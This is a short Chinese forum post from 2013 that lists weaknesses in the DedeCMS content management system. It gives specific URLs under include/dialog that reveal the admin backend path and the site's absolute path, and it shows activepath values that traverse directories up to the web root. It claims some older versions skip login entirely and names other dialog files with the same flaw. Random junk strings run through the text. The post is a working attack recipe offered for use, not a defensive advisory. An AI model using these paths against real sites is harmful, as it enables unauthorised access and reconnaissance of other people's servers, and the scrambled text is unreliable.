1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理$ D3 c% c& {: D0 V( B( {& R
) n/ d& P+ A/ v员帐号,新版本的就直接转向了后台.
3 b& E, a2 \' O3 w) c4 P+ Z) J
! k5 o \5 L3 [# S7 o0 _$ L2.include/dialog/config.php会爆出后台管理路径
* x; G3 \6 Q- U5 F+ v! z' J1 ?1 ^0 h* G
3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录: B9 p8 |3 i8 u7 d- P3 ?
' A4 W- b; S* o: `+ R& X' Y4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径.
4 K$ \3 j1 D4 `6 R* m9 S; d2 u5 N! {# ` Z {: c0 R# t1 I" ?
5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉
1 C/ N- j. U6 L" E* w, O- @/ ~- _! b+ j+ l7 g3 R/ Q, E& g
到根目录去.不过这些版本的访问地址有些不同., A1 i, k* P% }! ]$ d; t( [* p* _9 c
地址为require/dialog/select_soft.php?activepath=/././././././././ M0 ^: L0 k9 i4 c7 o
% m5 J) N3 d' e4 V: L! R3 {include\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦.. G% d) P8 s! P% x# x
存在相同问题的文件还有. ]' a; E1 N! n4 f% N" j
include\dialog\select_images.php1 }5 k2 d3 d8 `8 t* k, h ?3 H- p
include\dialog\select_media.php3 j1 r9 u1 J. P3 c8 l3 F$ Z/ j
include\dialog\select_templets.php
7 R" R$ `) V$ o |
发表于 2013-4-16 16:50:43
收藏
支持
反对